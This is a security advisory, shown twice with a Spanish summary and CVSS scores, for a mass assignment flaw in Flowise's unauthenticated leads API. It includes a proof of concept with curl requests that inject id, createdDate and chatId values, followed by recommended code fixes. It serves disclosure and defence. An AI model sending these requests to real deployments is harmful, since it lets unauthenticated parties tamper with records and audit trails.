Flowise is a drag & drop user interface to build a customized large language model flow. Prior to version 3.0.13, unauthenticated users can…
GitHub_M·CWE-915·Published 2026-03-06
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to version 3.0.13, unauthenticated users can inject arbitrary values into internal database fields when creating leads. This issue has been patched in version 3.0.13.
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to version 3.0.13, unauthenticated users can inject arbitrary values into internal database fields when creating leads. This issue has been patched in version 3.0.13.
## Summary **A Mass Assignment vulnerability in the `/api/v1/leads` endpoint allows any unauthenticated user to control internal entity fields (`id`, `createdDate`, `chatId`) by including them in the request body.** The endpoint uses `Object.assign()` to copy all properties from the request body to the Lead entity without any input validation or field filtering. This allows attackers to bypass auto-generated fields and inject arbitrary values. | Field | Value | |-------|-------| | **Vulnerability Type** | Mass Assignment | | **CWE ID** | [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html) | | **Authentication Required** | None | | **Affected Endpoint** | `POST /api/v1/leads` | --- ## Details ### Root Cause The vulnerability exists in `/packages/server/src/services/leads/index.ts` at lines 27-28: ```typescript // File: /packages/server/src/services/leads/index.ts // Lines 23-38 const createLead = async (body: Partial<ILead>) => { try { const chatId = body.chatId ?? uuidv4() const newLead = new Lead() Object.assign(newLead, body) // ← VULNERABILITY: All properties copied! Object.assign(newLead, { chatId }) const appServer = getRunningExpressApp() const lead = appServer.AppDataSource.getRepository(Lead).create(newLead) const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead) return dbResponse } catch (error) { throw new InternalFlowiseError(...) } } ``` The `Object.assign(newLead, body)` on line 28 copies **ALL** properties from the request body to the Lead entity, including: - `id` - The primary key (should be auto-generated) - `createdDate` - The creation timestamp (should be auto-generated) - `chatId` - The chat identifier ### Lead Entity Definition The Lead entity at `/packages/server/src/database/entities/Lead.ts` uses TypeORM decorators that should auto-generate these fields: ```typescript // File: /packages/server/src/database/entities/Lead.ts @Entity() export class Lead implements ILead { @PrimaryGeneratedColumn('uuid') // Should be auto-generated! id: string @Column() name?: string @Column() email?: string @Column() phone?: string @Column() chatflowid: string @Column() chatId: string @CreateDateColumn() // Should be auto-generated! createdDate: Date } ``` However, `Object.assign()` overwrites these fields before they are saved, bypassing the auto-generation. ### Why the Endpoint is Publicly Accessible The `/api/v1/leads` endpoint is whitelisted in `/packages/server/src/utils/constants.ts`: ```typescript // File: /packages/server/src/utils/constants.ts // Line 20 export const WHITELIST_URLS = [ // ... other endpoints ... '/api/v1/leads', // ← No authentication required // ... more endpoints ... ] ``` --- ## Proof of Concept <img width="1585" height="817" alt="Screenshot 2025-12-26 at 2 28 00 PM" src="https://github.com/user-attachments/assets/807984e7-ae4f-4e8a-85b7-057d6ac42ff5" /> ### Prerequisites - Docker and Docker Compose installed - curl installed ### Step 1: Start Flowise Create a `docker-compose.yml`: ```yaml services: flowise: image: flowiseai/flowise:latest restart: unless-stopped environment: - PORT=3000 - DATABASE_PATH=/root/.flowise - DATABASE_TYPE=sqlite - CORS_ORIGINS=* - DISABLE_FLOWISE_TELEMETRY=true ports: - '3000:3000' volumes: - flowise_data:/root/.flowise entrypoint: /bin/sh -c "sleep 3; flowise start" volumes: flowise_data: ``` Start the container: ```bash docker compose up -d # Wait for Flowise to be ready (about 1-2 minutes) curl http://localhost:3000/api/v1/ping ``` ### Step 2: Baseline Test - Normal Lead Creation First, create a normal lead to see expected behavior: ```bash curl -X POST http://localhost:3000/api/v1/leads \ -H "Content-Type: application/json" \ -d '{ "chatflowid": "normal-chatflow-123", "name": "Normal User", "email": "normal@example.com", "phone": "555-0000" }' ``` **Expected Response (normal behavior):** ```json { "id": "018b23e3-d6cb-4dc5-a276-922a174b44fd", "name": "Normal User", "email": "normal@example.com", "phone": "555-0000", "chatflowid": "normal-chatflow-123", "chatId": "auto-generated-uuid", "createdDate": "2025-12-26T06:20:39.000Z" } ``` Note: The `id` and `createdDate` are auto-generated by the server. ### Step 3: Exploit - Inject Custom ID Now inject a custom `id`: ```bash curl -X POST http://localhost:3000/api/v1/leads \ -H "Content-Type: application/json" \ -d '{ "chatflowid": "attacker-chatflow-456", "name": "Attacker", "email": "attacker@evil.com", "phone": "555-EVIL", "id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee" }' ``` **Actual Response (vulnerability confirmed):** ```json { "id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee", "name": "Attacker", "email": "attacker@evil.com", "phone": "555-EVIL", "chatflowid": "attacker-chatflow-456", "chatId": "auto-generated-uuid", "createdDate": "2025-12-26T06:20:40.000Z" } ``` **⚠️ The attacker-controlled `id` was accepted!** ### Step 4: Exploit - Inject Custom Timestamp Inject a fake `createdDate`: ```bash curl -X POST http://localhost:3000/api/v1/leads \ -H "Content-Type: application/json" \ -d '{ "chatflowid": "timestamp-test-789", "name": "Time Traveler", "email": "timetraveler@evil.com", "createdDate": "1970-01-01T00:00:00.000Z" }' ``` **Actual Response (vulnerability confirmed):** ```json { "id": "some-auto-generated-uuid", "name": "Time Traveler", "email": "timetraveler@evil.com", "chatflowid": "timestamp-test-789", "chatId": "auto-generated-uuid", "createdDate": "1970-01-01T00:00:00.000Z" } ``` **⚠️ The attacker-controlled timestamp from 1970 was accepted!** ### Step 5: Exploit - Combined Mass Assignment Inject multiple fields at once: ```bash curl -X POST http://localhost:3000/api/v1/leads \ -H "Content-Type: application/json" \ -d '{ "chatflowid": "any-chatflow-attacker-wants", "name": "Mass Assignment Attacker", "email": "massassign@evil.com", "phone": "555-HACK", "id": "11111111-2222-3333-4444-555555555555", "createdDate": "2000-01-01T12:00:00.000Z", "chatId": "custom-chat-id-injected" }' ``` **Actual Response (vulnerability confirmed):** ```json { "id": "11111111-2222-3333-4444-555555555555", "name": "Mass Assignment Attacker", "email": "massassign@evil.com", "phone": "555-HACK", "chatflowid": "any-chatflow-attacker-wants", "chatId": "custom-chat-id-injected", "createdDate": "2000-01-01T12:00:00.000Z" } ``` **⚠️ ALL three internal fields (`id`, `createdDate`, `chatId`) were controlled by the attacker!** ### Verification The exploit succeeds because: 1. ✅ HTTP 200 response (request accepted) 2. ✅ `id` field contains attacker-controlled UUID 3. ✅ `createdDate` field contains attacker-controlled timestamp 4. ✅ `chatId` field contains attacker-controlled string 5. ✅ No authentication headers were sent --- ## Impact ### Who is Affected? - **All Flowise deployments** that use the leads feature - Both **open-source** and **enterprise** versions - Any system that relies on lead data integrity ### Attack Scenarios | Scenario | Impact | |----------|--------| | **ID Collision Attack** | Attacker creates leads with specific UUIDs, potentially overwriting existing records or causing database conflicts | | **Audit Trail Manipulation** | Attacker sets fake `createdDate` values to hide malicious activity or manipulate reporting | | **Data Integrity Violation** | Internal fields that should be server-controlled are now user-controlled | | **Chatflow Association** | Attacker can link leads to arbitrary chatflows they don't own | ### Severity Assessment While this vulnerability doesn't directly expose sensitive data (unlike the IDOR vulnerability), it violates the principle that internal/auto-generated fields should not be user-controllable. This can lead to: - Data integrity issues - Potential business logic bypasses - Audit/compliance concerns - Foundation for chained attacks --- ## Recommended Fix ### Option 1: Whitelist Allowed Fields (Recommended) Only copy explicitly allowed fields from the request body: ```typescript const createLead = async (body: Partial<ILead>) => { try { const chatId = body.chatId ?? uuidv4() const newLead = new Lead() // ✅ Only copy allowed fields const allowedFields = ['chatflowid', 'name', 'email', 'phone'] for (const field of allowedFields) { if (body[field] !== undefined) { newLead[field] = body[field] } } newLead.chatId = chatId // Let TypeORM auto-generate id and createdDate const appServer = getRunningExpressApp() const lead = appServer.AppDataSource.getRepository(Lead).create(newLead) const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead) return dbResponse } catch (error) { throw new InternalFlowiseError(...) } } ``` ### Option 2: Use Destructuring with Explicit Fields ```typescript const createLead = async (body: Partial<ILead>) => { try { // ✅ Only extract allowed fields const { chatflowid, name, email, phone } = body const chatId = body.chatId ?? uuidv4() const appServer = getRunningExpressApp() const lead = appServer.AppDataSource.getRepository(Lead).create({ chatflowid, name, email, phone, chatId // id and createdDate will be auto-generated }) const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead) return dbResponse } catch (error) { throw new InternalFlowiseError(...) } } ``` ### Option 3: Use class-transformer with @Exclude() Add decorators to the Lead entity to exclude sensitive fields from assignment: ```typescript import { Exclude } from 'class-transformer' @Entity() export class Lead implements ILead { @PrimaryGeneratedColumn('uuid') @Exclude({ toClassOnly: true }) // ✅ Prevent assignment from request id: string // ... other fields ... @CreateDateColumn() @Exclude({ toClassOnly: true }) // ✅ Prevent assignment from request createdDate: Date } ``` ### Additional Recommendation Consider applying the same fix to other endpoints that use `Object.assign()` with request bodies, such as: - `/packages/server/src/utils/addChatMessageFeedback.ts` (similar pattern) --- ## Resources - [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html) - [OWASP: Mass Assignment Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html) - [OWASP API Security Top 10 - API6:2023 Unrestricted Access to Sensitive Business Flows](https://owasp.org/API-Security/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows/) - [Node.js Security Best Practices](https://nodejs.org/en/docs/guides/security/) ---
## Summary **A Mass Assignment vulnerability in the `/api/v1/leads` endpoint allows any unauthenticated user to control internal entity fields (`id`, `createdDate`, `chatId`) by including them in the request body.** The endpoint uses `Object.assign()` to copy all properties from the request body to the Lead entity without any input validation or field filtering. This allows attackers to bypass auto-generated fields and inject arbitrary values. | Field | Value | |-------|-------| | **Vulnerability Type** | Mass Assignment | | **CWE ID** | [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html) | | **Authentication Required** | None | | **Affected Endpoint** | `POST /api/v1/leads` | --- ## Details ### Root Cause The vulnerability exists in `/packages/server/src/services/leads/index.ts` at lines 27-28: ```typescript // File: /packages/server/src/services/leads/index.ts // Lines 23-38 const createLead = async (body: Partial<ILead>) => { try { const chatId = body.chatId ?? uuidv4() const newLead = new Lead() Object.assign(newLead, body) // ← VULNERABILITY: All properties copied! Object.assign(newLead, { chatId }) const appServer = getRunningExpressApp() const lead = appServer.AppDataSource.getRepository(Lead).create(newLead) const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead) return dbResponse } catch (error) { throw new InternalFlowiseError(...) } } ``` The `Object.assign(newLead, body)` on line 28 copies **ALL** properties from the request body to the Lead entity, including: - `id` - The primary key (should be auto-generated) - `createdDate` - The creation timestamp (should be auto-generated) - `chatId` - The chat identifier ### Lead Entity Definition The Lead entity at `/packages/server/src/database/entities/Lead.ts` uses TypeORM decorators that should auto-generate these fields: ```typescript // File: /packages/server/src/database/entities/Lead.ts @Entity() export class Lead implements ILead { @PrimaryGeneratedColumn('uuid') // Should be auto-generated! id: string @Column() name?: string @Column() email?: string @Column() phone?: string @Column() chatflowid: string @Column() chatId: string @CreateDateColumn() // Should be auto-generated! createdDate: Date } ``` However, `Object.assign()` overwrites these fields before they are saved, bypassing the auto-generation. ### Why the Endpoint is Publicly Accessible The `/api/v1/leads` endpoint is whitelisted in `/packages/server/src/utils/constants.ts`: ```typescript // File: /packages/server/src/utils/constants.ts // Line 20 export const WHITELIST_URLS = [ // ... other endpoints ... '/api/v1/leads', // ← No authentication required // ... more endpoints ... ] ``` --- ## Proof of Concept <img width="1585" height="817" alt="Screenshot 2025-12-26 at 2 28 00 PM" src="https://github.com/user-attachments/assets/807984e7-ae4f-4e8a-85b7-057d6ac42ff5" /> ### Prerequisites - Docker and Docker Compose installed - curl installed ### Step 1: Start Flowise Create a `docker-compose.yml`: ```yaml services: flowise: image: flowiseai/flowise:latest restart: unless-stopped environment: - PORT=3000 - DATABASE_PATH=/root/.flowise - DATABASE_TYPE=sqlite - CORS_ORIGINS=* - DISABLE_FLOWISE_TELEMETRY=true ports: - '3000:3000' volumes: - flowise_data:/root/.flowise entrypoint: /bin/sh -c "sleep 3; flowise start" volumes: flowise_data: ``` Start the container: ```bash docker compose up -d # Wait for Flowise to be ready (about 1-2 minutes) curl http://localhost:3000/api/v1/ping ``` ### Step 2: Baseline Test - Normal Lead Creation First, create a normal lead to see expected behavior: ```bash curl -X POST http://localhost:3000/api/v1/leads \ -H "Content-Type: application/json" \ -d '{ "chatflowid": "normal-chatflow-123", "name": "Normal User", "email": "normal@example.com", "phone": "555-0000" }' ``` **Expected Response (normal behavior):** ```json { "id": "018b23e3-d6cb-4dc5-a276-922a174b44fd", "name": "Normal User", "email": "normal@example.com", "phone": "555-0000", "chatflowid": "normal-chatflow-123", "chatId": "auto-generated-uuid", "createdDate": "2025-12-26T06:20:39.000Z" } ``` Note: The `id` and `createdDate` are auto-generated by the server. ### Step 3: Exploit - Inject Custom ID Now inject a custom `id`: ```bash curl -X POST http://localhost:3000/api/v1/leads \ -H "Content-Type: application/json" \ -d '{ "chatflowid": "attacker-chatflow-456", "name": "Attacker", "email": "attacker@evil.com", "phone": "555-EVIL", "id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee" }' ``` **Actual Response (vulnerability confirmed):** ```json { "id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee", "name": "Attacker", "email": "attacker@evil.com", "phone": "555-EVIL", "chatflowid": "attacker-chatflow-456", "chatId": "auto-generated-uuid", "createdDate": "2025-12-26T06:20:40.000Z" } ``` **⚠️ The attacker-controlled `id` was accepted!** ### Step 4: Exploit - Inject Custom Timestamp Inject a fake `createdDate`: ```bash curl -X POST http://localhost:3000/api/v1/leads \ -H "Content-Type: application/json" \ -d '{ "chatflowid": "timestamp-test-789", "name": "Time Traveler", "email": "timetraveler@evil.com", "createdDate": "1970-01-01T00:00:00.000Z" }' ``` **Actual Response (vulnerability confirmed):** ```json { "id": "some-auto-generated-uuid", "name": "Time Traveler", "email": "timetraveler@evil.com", "chatflowid": "timestamp-test-789", "chatId": "auto-generated-uuid", "createdDate": "1970-01-01T00:00:00.000Z" } ``` **⚠️ The attacker-controlled timestamp from 1970 was accepted!** ### Step 5: Exploit - Combined Mass Assignment Inject multiple fields at once: ```bash curl -X POST http://localhost:3000/api/v1/leads \ -H "Content-Type: application/json" \ -d '{ "chatflowid": "any-chatflow-attacker-wants", "name": "Mass Assignment Attacker", "email": "massassign@evil.com", "phone": "555-HACK", "id": "11111111-2222-3333-4444-555555555555", "createdDate": "2000-01-01T12:00:00.000Z", "chatId": "custom-chat-id-injected" }' ``` **Actual Response (vulnerability confirmed):** ```json { "id": "11111111-2222-3333-4444-555555555555", "name": "Mass Assignment Attacker", "email": "massassign@evil.com", "phone": "555-HACK", "chatflowid": "any-chatflow-attacker-wants", "chatId": "custom-chat-id-injected", "createdDate": "2000-01-01T12:00:00.000Z" } ``` **⚠️ ALL three internal fields (`id`, `createdDate`, `chatId`) were controlled by the attacker!** ### Verification The exploit succeeds because: 1. ✅ HTTP 200 response (request accepted) 2. ✅ `id` field contains attacker-controlled UUID 3. ✅ `createdDate` field contains attacker-controlled timestamp 4. ✅ `chatId` field contains attacker-controlled string 5. ✅ No authentication headers were sent --- ## Impact ### Who is Affected? - **All Flowise deployments** that use the leads feature - Both **open-source** and **enterprise** versions - Any system that relies on lead data integrity ### Attack Scenarios | Scenario | Impact | |----------|--------| | **ID Collision Attack** | Attacker creates leads with specific UUIDs, potentially overwriting existing records or causing database conflicts | | **Audit Trail Manipulation** | Attacker sets fake `createdDate` values to hide malicious activity or manipulate reporting | | **Data Integrity Violation** | Internal fields that should be server-controlled are now user-controlled | | **Chatflow Association** | Attacker can link leads to arbitrary chatflows they don't own | ### Severity Assessment While this vulnerability doesn't directly expose sensitive data (unlike the IDOR vulnerability), it violates the principle that internal/auto-generated fields should not be user-controllable. This can lead to: - Data integrity issues - Potential business logic bypasses - Audit/compliance concerns - Foundation for chained attacks --- ## Recommended Fix ### Option 1: Whitelist Allowed Fields (Recommended) Only copy explicitly allowed fields from the request body: ```typescript const createLead = async (body: Partial<ILead>) => { try { const chatId = body.chatId ?? uuidv4() const newLead = new Lead() // ✅ Only copy allowed fields const allowedFields = ['chatflowid', 'name', 'email', 'phone'] for (const field of allowedFields) { if (body[field] !== undefined) { newLead[field] = body[field] } } newLead.chatId = chatId // Let TypeORM auto-generate id and createdDate const appServer = getRunningExpressApp() const lead = appServer.AppDataSource.getRepository(Lead).create(newLead) const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead) return dbResponse } catch (error) { throw new InternalFlowiseError(...) } } ``` ### Option 2: Use Destructuring with Explicit Fields ```typescript const createLead = async (body: Partial<ILead>) => { try { // ✅ Only extract allowed fields const { chatflowid, name, email, phone } = body const chatId = body.chatId ?? uuidv4() const appServer = getRunningExpressApp() const lead = appServer.AppDataSource.getRepository(Lead).create({ chatflowid, name, email, phone, chatId // id and createdDate will be auto-generated }) const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead) return dbResponse } catch (error) { throw new InternalFlowiseError(...) } } ``` ### Option 3: Use class-transformer with @Exclude() Add decorators to the Lead entity to exclude sensitive fields from assignment: ```typescript import { Exclude } from 'class-transformer' @Entity() export class Lead implements ILead { @PrimaryGeneratedColumn('uuid') @Exclude({ toClassOnly: true }) // ✅ Prevent assignment from request id: string // ... other fields ... @CreateDateColumn() @Exclude({ toClassOnly: true }) // ✅ Prevent assignment from request createdDate: Date } ``` ### Additional Recommendation Consider applying the same fix to other endpoints that use `Object.assign()` with request bodies, such as: - `/packages/server/src/utils/addChatMessageFeedback.ts` (similar pattern) --- ## Resources - [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html) - [OWASP: Mass Assignment Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html) - [OWASP API Security Top 10 - API6:2023 Unrestricted Access to Sensitive Business Flows](https://owasp.org/API-Security/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows/) - [Node.js Security Best Practices](https://nodejs.org/en/docs/guides/security/) ---
Flowise es una interfaz de usuario de arrastrar y soltar para construir un flujo de modelo de lenguaje grande personalizado. Antes de la versión 3.0.13, los usuarios no autenticados pueden inyectar valores arbitrarios en campos internos de la base de datos al crear clientes potenciales. Este problema ha sido parcheado en la versión 3.0.13.
| Version | Type | Source | Base | Exp | Impact | Vector |
|---|---|---|---|---|---|---|
| 3.0 | Primary | cve.org | 7.7 | — | — | CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L |
| 3.0 | Primary | cve.org | 7.7 | — | — | CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L |
| 3.0 | Secondary | NVD | 7.7 | 2.2 | 5.5 | CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L |
| 3.1 | Secondary | GHSA | 7.7 | — | — | CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L |